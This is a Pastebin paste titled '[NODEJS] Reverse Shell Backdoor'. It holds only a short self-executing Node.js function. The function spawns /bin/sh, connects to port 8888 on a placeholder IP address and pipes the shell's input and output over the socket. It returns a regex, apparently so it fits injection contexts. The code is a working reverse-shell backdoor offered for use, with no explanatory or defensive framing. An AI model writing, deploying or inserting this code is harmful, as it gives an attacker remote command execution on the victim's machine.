cdw1p

[NODEJS] Reverse Shell Backdoor

Apr 5th, 2019
518
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (function(){
  2.     var net = require("net"),
  3.         cp = require("child_process"),
  4.         sh = cp.spawn("/bin/sh",[]);
  5.     var client = new net.Socket();
  6.     client.connect(8888,"xxx.xxx.xxx.xxx",function(){
  7.         client.pipe(sh.stdin);
  8.         sh.stdout.pipe(client);
  9.         sh.stderr.pipe(client);
  10.     });
  11.     return /a/;
  12. })();
Advertisement
Add Comment
Please, Sign In to add comment